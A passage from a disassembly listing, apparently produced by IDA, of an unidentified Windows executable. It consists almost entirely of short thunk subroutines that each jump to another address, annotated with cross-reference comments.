sub_401762	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401767	proc near		; CODE XREF: ___:0040AFE4p
		jmp	sub_4348A0
sub_401767	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40176C	proc near		; CODE XREF: sub_418E70+5Fp
		jmp	sub_419100
sub_40176C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401771	proc near		; CODE XREF: ___:00416B0Bp
					; ___:00418BB3p ...
		jmp	sub_418B90
sub_401771	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401776	proc near		; CODE XREF: ___:0041882Cp
		jmp	sub_418450
sub_401776	endp

; ---------------------------------------------------------------------------
		jmp	loc_420DC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401780	proc near		; CODE XREF: ___:00416D7Fp
		jmp	sub_417CF0
sub_401780	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401785	proc near		; CODE XREF: sub_430B30+5Dp
					; sub_431B00+2Cp ...
		jmp	sub_4322D0
sub_401785	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F590

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40178F	proc near		; CODE XREF: ___:00427370p
		jmp	sub_428880
sub_40178F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401794	proc near		; CODE XREF: ___:00426757p
		jmp	sub_426560
sub_401794	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401799	proc near		; CODE XREF: ___:00416E5Ap
		jmp	sub_418220
sub_401799	endp

; ---------------------------------------------------------------------------
		jmp	loc_433200
; ---------------------------------------------------------------------------
		jmp	loc_4301A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017A8	proc near		; CODE XREF: sub_429150j ___:00429423p ...
		jmp	sub_429350
sub_4017A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017AD	proc near		; CODE XREF: ___:00416BBBp
					; ___:00418B63p ...
		jmp	sub_418B30
sub_4017AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017B2	proc near		; DATA XREF: ___:off_43F17Co
		jmp	sub_42B3F0
sub_4017B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017B7	proc near		; CODE XREF: sub_431240+D7p
		jmp	sub_432A20
sub_4017B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017BC	proc near		; CODE XREF: sub_40AF50+5j
					; ___:loc_4313CDp
		jmp	sub_432670
sub_4017BC	endp

; ---------------------------------------------------------------------------
		jmp	loc_431420

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017C6	proc near		; CODE XREF: sub_4266D0+10p
					; sub_4267D0+3Dp
		jmp	sub_4267A0
sub_4017C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017CB	proc near		; CODE XREF: sub_40AF70+5j
					; ___:loc_4313D5p ...
		jmp	sub_432690
sub_4017CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017D0	proc near		; DATA XREF: ___:off_43F000o
		jmp	sub_404C30
sub_4017D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017D5	proc near		; CODE XREF: sub_4248E0+1Ep
					; sub_424920+A6p ...
		jmp	sub_424870
sub_4017D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017DA	proc near		; CODE XREF: ___:00416B7Bp
					; ___:0043B234j ...
		jmp	sub_417920
sub_4017DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017DF	proc near		; CODE XREF: sub_416210+11p
					; ___:00416237p ...
		jmp	sub_4167E0
sub_4017DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017E4	proc near		; CODE XREF: sub_415A00+3p
					; ___:0041625Fp ...
		jmp	sub_416490
sub_4017E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4017E9	proc near		; CODE XREF: sub_4155F0+6Ap
					; sub_416020+32p
		jmp	sub_415F60
sub_4017E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017EE	proc near		; CODE XREF: sub_403530+DBp
					; sub_403F80+3Fp ...
		jmp	sub_40A7F0
sub_4017EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017F3	proc near		; CODE XREF: ___:00421EAAp
		jmp	sub_422470
sub_4017F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4017F8	proc near
		jmp	sub_40B2E0
sub_4017F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017FD	proc near		; CODE XREF: sub_406850+205p
		jmp	sub_41B920
sub_4017FD	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401807	proc near		; CODE XREF: ___:00427D03p
		jmp	sub_427D30
sub_401807	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40180C	proc near		; CODE XREF: ___:00425F16p
					; ___:00425F47p
		jmp	sub_4257F0
sub_40180C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401811	proc near		; CODE XREF: sub_41E660+FFp
					; sub_41E660+179p ...
		jmp	sub_421B80
sub_401811	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401816	proc near		; CODE XREF: sub_40A1E0+7p
		jmp	sub_40A200
sub_401816	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40181B	proc near		; CODE XREF: sub_40B500+76p
		jmp	sub_40B460
sub_40181B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401820	proc near		; CODE XREF: ___:00423F8Dp
					; DATA XREF: ___:off_44541Co
		jmp	sub_425100
sub_401820	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401825	proc near		; CODE XREF: sub_41E660+18Ep
					; ___:0043C433j
		jmp	sub_4219F0
sub_401825	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40182A	proc near		; DATA XREF: ___:off_43F10Co
		jmp	sub_428210
sub_40182A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40182F	proc near		; CODE XREF: ___:00416D9Fp
		jmp	sub_417DB0
sub_40182F	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FF10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401839	proc near		; CODE XREF: sub_41E660+3BCp
					; sub_4226B0+3p
		jmp	sub_421D50
sub_401839	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40183E	proc near		; CODE XREF: sub_427800+90p
		jmp	sub_427AC0
sub_40183E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401843	proc near		; CODE XREF: ___:0042444Dp
					; sub_424920+135p
		jmp	sub_424480
sub_401843	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401848	proc near		; CODE XREF: sub_40BF10+3p
					; ___:0040BFDFp ...
		jmp	sub_40C150
sub_401848	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40184D	proc near		; CODE XREF: sub_407140+36p
					; sub_407140+72p ...
		jmp	sub_407390
sub_40184D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401852	proc near		; CODE XREF: ___:00413241p
		jmp	sub_415760
sub_401852	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401857	proc near		; CODE XREF: ___:0040BAA1p
					; ___:0040BB68p ...
		jmp	sub_4126C0
sub_401857	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40185C	proc near		; CODE XREF: ___:004332DFp
					; ___:004333EFp ...
		jmp	sub_432E20
sub_40185C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401861	proc near		; DATA XREF: ___:0043359Ao
					; ___:00433700o
		jmp	sub_432E90
sub_401861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401866	proc near		; CODE XREF: sub_416450+7p
		jmp	sub_416830
sub_401866	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40186B	proc near		; CODE XREF: sub_4182F0+34p
		jmp	sub_404BE0
sub_40186B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401870	proc near		; CODE XREF: sub_403530+7Ap
					; sub_403530+9Ep ...
		jmp	sub_409C10
sub_401870	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401875	proc near		; CODE XREF: sub_420530+152p
		jmp	sub_4207A0
sub_401875	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40187A	proc near		; CODE XREF: ___:0041A328p
					; sub_41B0E0+3p ...
		jmp	sub_41B110
sub_40187A	endp

; ---------------------------------------------------------------------------
		jmp	loc_42B060
; ---------------------------------------------------------------------------
		jmp	loc_41C1E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401889	proc near		; CODE XREF: ___:00416B3Bp
					; ___:0043B26Cj ...
		jmp	sub_418BE0
sub_401889	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40188E	proc near		; CODE XREF: sub_40FE30+217p
					; sub_41FD90+4Cp ...
		jmp	sub_41FD50
sub_40188E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401893	proc near		; CODE XREF: sub_42AC80+9Dp
		jmp	sub_429450
sub_401893	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401898	proc near		; CODE XREF: ___:0042D2F5p
		jmp	sub_4290B0
sub_401898	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40189D	proc near		; DATA XREF: ___:0043F184o
		jmp	sub_42B440
sub_40189D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018A2	proc near		; CODE XREF: sub_41B580+DDp
		jmp	sub_41AE00
sub_4018A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018A7	proc near
		jmp	sub_4341C0
sub_4018A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018AC	proc near		; CODE XREF: ___:00414285p
					; sub_414E00+1B2p
		jmp	sub_413E60
sub_4018AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018B1	proc near		; CODE XREF: sub_411C00+1B6p
		jmp	sub_40A1E0
sub_4018B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018B6	proc near		; CODE XREF: sub_41E660+5ABp
		jmp	sub_4203D0
sub_4018B6	endp

; ---------------------------------------------------------------------------
		jmp	loc_433000

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018C0	proc near		; CODE XREF: sub_40A9E0+14p
		jmp	sub_40AC90
sub_4018C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018C5	proc near		; CODE XREF: sub_4135D0+B4p
					; ___:00414C50p ...
		jmp	sub_415700
sub_4018C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018CA	proc near		; CODE XREF: sub_41A3B0+6Dp
					; sub_41A3B0+1B5p
		jmp	sub_41B030
sub_4018CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018CF	proc near		; CODE XREF: ___:004323CAp
		jmp	sub_431D80
sub_4018CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018D4	proc near		; CODE XREF: sub_418F80+5Fp
		jmp	sub_419120
sub_4018D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018D9	proc near		; CODE XREF: ___:00416B8Bp
					; ___:0043B226j ...
		jmp	sub_4178B0
sub_4018D9	endp

; ---------------------------------------------------------------------------
		jmp	loc_419ED0
; ---------------------------------------------------------------------------
		jmp	sub_41A1E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4018E8	proc near		; CODE XREF: sub_41E660+46p
		jmp	sub_4219B0
sub_4018E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018ED	proc near		; CODE XREF: ___:0042D425p
		jmp	sub_42AC10
sub_4018ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4018F2	proc near		; CODE XREF: sub_422230+7p
		jmp	sub_422620
sub_4018F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018F7	proc near		; CODE XREF: sub_4220B0+9p
					; sub_422510+18p
		jmp	sub_422690
sub_4018F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018FC	proc near		; CODE XREF: sub_4222B0+8p
		jmp	sub_422670
sub_4018FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401901	proc near		; CODE XREF: sub_413490+43p
					; sub_414890+4Fp ...
		jmp	sub_415810
sub_401901	endp

; ---------------------------------------------------------------------------
		jmp	loc_431D00

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40190B	proc near		; CODE XREF: sub_421AD0+1Fp
		jmp	sub_421E50
sub_40190B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401910	proc near		; CODE XREF: sub_4219B0+11p
					; sub_421E50+1Fp
		jmp	sub_421F80
sub_401910	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401915	proc near		; CODE XREF: sub_40B460+6Dp
		jmp	sub_40BE60
sub_401915	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40191A	proc near		; CODE XREF: sub_409520+13p
		jmp	sub_409650
sub_40191A	endp

; ---------------------------------------------------------------------------
		jmp	loc_4378B0
; ---------------------------------------------------------------------------
		jmp	sub_41B0E0
; ---------------------------------------------------------------------------


loc_401929:				; DATA XREF: ___:off_43F0A0o
		jmp	loc_418BB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40192E	proc near		; CODE XREF: ___:00413BF1p
		jmp	sub_413A70
sub_40192E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401933	proc near		; CODE XREF: ___:00413253p
					; sub_4132E0+32p
		jmp	sub_4155A0
sub_401933	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401938	proc near		; CODE XREF: ___:00416C3Bp
					; ___:0043B18Cj ...
		jmp	sub_416FE0
sub_401938	endp

; ---------------------------------------------------------------------------
		jmp	loc_432390
; ---------------------------------------------------------------------------
		jmp	loc_4347E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401947	proc near		; CODE XREF: sub_41C710+F1p
					; sub_41C710+270p ...
		jmp	sub_420E10
sub_401947	endp

; ---------------------------------------------------------------------------
		jmp	loc_40A4D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401951	proc near		; CODE XREF: sub_404C30+283p
					; sub_40EE30+D2p ...
		jmp	sub_40F050
sub_401951	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401956	proc near		; CODE XREF: sub_4219F0+34p
					; sub_422340+67p
		jmp	sub_421FD0
sub_401956	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40195B	proc near		; CODE XREF: sub_404C30+BF1p
		jmp	sub_4066A0
sub_40195B	endp

; ---------------------------------------------------------------------------
		jmp	loc_433650
; ---------------------------------------------------------------------------


loc_401965:				; DATA XREF: sub_41FC00+39o
		jmp	loc_41FB30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40196A	proc near		; CODE XREF: ___:0041A29Ep
					; sub_41A3B0+Bp ...
		jmp	sub_41A390
sub_40196A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40196F	proc near		; CODE XREF: ___:0041AC56p
					; ___:0041AD36p
		jmp	sub_41A960
sub_40196F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401974	proc near
		jmp	sub_419260
sub_401974	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401979	proc near		; CODE XREF: sub_411730+3p
					; sub_412AD0+2Ep
		jmp	sub_412C10
sub_401979	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40197E	proc near		; CODE XREF: sub_41E660+F5p
					; sub_41E660+16Fp ...
		jmp	sub_421AA0
sub_40197E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401983	proc near		; CODE XREF: sub_409520+4p
					; sub_4096D0+1Fp ...
		jmp	sub_4095D0
sub_401983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401988	proc near
		jmp	sub_409B00
sub_401988	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40198D	proc near		; CODE XREF: sub_41F860+20p
					; sub_42AC80+37p
		jmp	sub_41FE50
sub_40198D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401992	proc near		; CODE XREF: sub_4135D0+4Ap
					; ___:00414BFFp ...
		jmp	sub_4154F0
sub_401992	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401997	proc near		; CODE XREF: sub_40A500+A8p
		jmp	sub_40A920
sub_401997	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40199C	proc near		; CODE XREF: sub_40CC80+41p
		jmp	sub_40CF30
sub_40199C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019A1	proc near		; CODE XREF: ___:004346F5p
					; ___:004347F5p
		jmp	sub_434450
sub_4019A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019A6	proc near		; CODE XREF: sub_4219F0+29p
		jmp	sub_421EF0
sub_4019A6	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FFE0
; ---------------------------------------------------------------------------
		jmp	loc_42FFB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019B5	proc near		; CODE XREF: sub_40A860+Dp
					; sub_40AAC0+91p
		jmp	sub_40A9E0
sub_4019B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019BA	proc near		; CODE XREF: sub_422150+23p
					; sub_422510+11p
		jmp	sub_4226B0
sub_4019BA	endp

; ---------------------------------------------------------------------------
		jmp	loc_41ABF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019C4	proc near		; CODE XREF: sub_403F80+2Cp
					; ___:00403FFFp ...
		jmp	sub_403530
sub_4019C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019C9	proc near		; CODE XREF: sub_422850+6p
		jmp	sub_4228C0
sub_4019C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019CE	proc near		; DATA XREF: ___:off_43F05Co
		jmp	sub_418B00
sub_4019CE	endp

; ---------------------------------------------------------------------------
		jmp	sub_412830

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4019D8	proc near		; CODE XREF: sub_407460+4p
		jmp	sub_407590
sub_4019D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019DD	proc near		; CODE XREF: ___:0040B6F9p
					; ___:0040BB16p ...
		jmp	sub_40B5F0
sub_4019DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019E2	proc near		; CODE XREF: sub_40FE30+AF4p
					; sub_40FE30+E6Ap
		jmp	sub_411730
sub_4019E2	endp

; ---------------------------------------------------------------------------
		jmp	loc_433C30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019EC	proc near		; CODE XREF: sub_414590+CEp
		jmp	sub_414700
sub_4019EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019F1	proc near		; DATA XREF: ___:0043F1C8o
		jmp	sub_42CB70
sub_4019F1	endp

; ---------------------------------------------------------------------------


loc_4019F6:				; DATA XREF: ___:off_43F0D0o
		jmp	loc_421870

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019FB	proc near		; CODE XREF: sub_421B10+3p
		jmp	sub_422030
sub_4019FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A00	proc near		; CODE XREF: ___:00416D4Fp
		jmp	sub_40B180
sub_401A00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A05	proc near
		jmp	sub_4133A0
sub_401A05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A0A	proc near		; CODE XREF: sub_41E660+477p
		jmp	sub_4200F0
sub_401A0A	endp

; ---------------------------------------------------------------------------
		jmp	loc_421850

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A14	proc near		; DATA XREF: ___:0043F124o
		jmp	sub_428940
sub_401A14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A19	proc near
		jmp	sub_411760
sub_401A19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A1E	proc near		; CODE XREF: sub_4344C0+92p
		jmp	sub_431C30
sub_401A1E	endp

; ---------------------------------------------------------------------------
		jmp	loc_429420
; ---------------------------------------------------------------------------
		jmp	loc_427D00

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A2D	proc near		; CODE XREF: sub_421EF0+32p
		jmp	sub_422340
sub_401A2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A32	proc near		; CODE XREF: ___:00416BCBp
					; sub_418B00+3p ...
		jmp	sub_418AD0
sub_401A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A37	proc near		; CODE XREF: ___:00423B04p
					; ___:004285E8p ...
		jmp	sub_420D00
sub_401A37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A3C	proc near		; CODE XREF: sub_422310+Ap
		jmp	sub_422720
sub_401A3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A41	proc near		; CODE XREF: ___:00412F8Fp
					; ___:00413044p ...
		jmp	sub_404600
sub_401A41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A46	proc near		; CODE XREF: sub_409520+1Ap
					; sub_409600+4p ...
		jmp	sub_409590
sub_401A46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A4B	proc near		; DATA XREF: ___:off_43F028o
		jmp	sub_412830
sub_401A4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A50	proc near		; DATA XREF: ___:0043F0E4o
		jmp	sub_427800
sub_401A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A55	proc near		; CODE XREF: ___:00426475p
		jmp	sub_426070
sub_401A55	endp

; ---------------------------------------------------------------------------
		jmp	loc_409E20

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A5F	proc near		; CODE XREF: sub_415B90+1Ep
		jmp	sub_416640
sub_401A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A64	proc near		; CODE XREF: ___:004305E0p
					; sub_4321F0+36p ...
		jmp	sub_431630
sub_401A64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A69	proc near		; CODE XREF: sub_4138A0+3Ep
		jmp	sub_434BF0
sub_401A69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A6E	proc near		; CODE XREF: sub_414A60+3p
		jmp	sub_414A90
sub_401A6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A73	proc near		; CODE XREF: ___:00408293p
					; ___:00408724p
		jmp	sub_409560
sub_401A73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A78	proc near		; DATA XREF: ___:0043F0E0o
					; ___:0043F0F0o ...
		jmp	sub_4276C0
sub_401A78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A7D	proc near		; CODE XREF: sub_41D830+1ADp
		jmp	sub_42DB00
sub_401A7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A82	proc near		; CODE XREF: sub_420530+191p
					; sub_4228C0+3p ...
		jmp	sub_4207C0
sub_401A82	endp

; ---------------------------------------------------------------------------
		jmp	loc_4302E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A8C	proc near		; CODE XREF: sub_4226E0+5p
		jmp	sub_422850
sub_401A8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A91	proc near		; CODE XREF: ___:00416E0Ap
		jmp	sub_4180C0
sub_401A91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A96	proc near		; CODE XREF: sub_407270+5p
					; sub_407360+6p ...
		jmp	sub_4074B0
sub_401A96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A9B	proc near		; CODE XREF: sub_403530+90p
					; sub_404C30+40Cp ...
		jmp	sub_40A770
sub_401A9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AA0	proc near		; CODE XREF: sub_41D830+2FFp
					; sub_41EF30+52Fp
		jmp	sub_41FD90
sub_401AA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AA5	proc near		; CODE XREF: ___:004330BAp
		jmp	sub_430B30
sub_401AA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401AAA	proc near		; CODE XREF: sub_415560+1Fp
		jmp	sub_415EC0
sub_401AAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AAF	proc near		; CODE XREF: sub_403530+E5p
					; sub_409F40+Fp ...
		jmp	sub_409E70
sub_401AAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AB4	proc near		; CODE XREF: sub_432850+17p
					; sub_432850+33p
		jmp	sub_434A00
sub_401AB4	endp

; ---------------------------------------------------------------------------
		jmp	loc_434770
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_11. PRESS KEYPAD "+" TO	EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_427D00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AC8	proc near		; CODE XREF: sub_424F70+E5p
					; sub_424F70+120p
		jmp	sub_424E20
sub_401AC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401ACD	proc near		; DATA XREF: ___:off_43F034o
		jmp	sub_411C00
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AD2	proc near		; DATA XREF: ___:0041FB33o
		jmp	sub_41FA90
sub_401AD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AD7	proc near		; CODE XREF: sub_407140+Bp
		jmp	sub_407320
sub_401AD7	endp

; ---------------------------------------------------------------------------
		jmp	loc_433E90
; ---------------------------------------------------------------------------


loc_401AE1:				; DATA XREF: ___:off_43F020o
		jmp	loc_40B9A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AE6	proc near		; CODE XREF: sub_403EA0+2Bp
					; sub_403EA0+3Bp ...
		jmp	sub_403CD0
sub_401AE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AEB	proc near		; CODE XREF: sub_4135D0+66p
					; sub_4135D0+CAp ...
		jmp	sub_415730
sub_401AEB	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B880

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401AF5	proc near
		jmp	sub_4228F0
sub_401AF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401AFA	proc near		; CODE XREF: ___:00416C1Bp
					; ___:0043B1A8j ...
		jmp	sub_40B240
sub_401AFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AFF	proc near		; CODE XREF: ___:00421764p
					; ___:0042179Ep
		jmp	sub_4215D0
sub_401AFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B04	proc near		; CODE XREF: sub_404BA0+15p
		jmp	sub_407140
sub_401B04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B09	proc near		; DATA XREF: ___:off_43F0BCo
		jmp	sub_41A1E0
sub_401B09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B0E	proc near		; CODE XREF: ___:00416ECFp
		jmp	sub_4188C0
sub_401B0E	endp

; ---------------------------------------------------------------------------


loc_401B13:				; CODE XREF: ___:00439F76j
		jmp	loc_40CBC0
; ---------------------------------------------------------------------------


loc_401B18:				; DATA XREF: ___:off_43F16Co
		jmp	loc_42B060

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B1D	proc near		; CODE XREF: sub_416F70+28p
		jmp	sub_418850
sub_401B1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B22	proc near		; CODE XREF: ___:00432CD7p
		jmp	sub_432D10
sub_401B22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


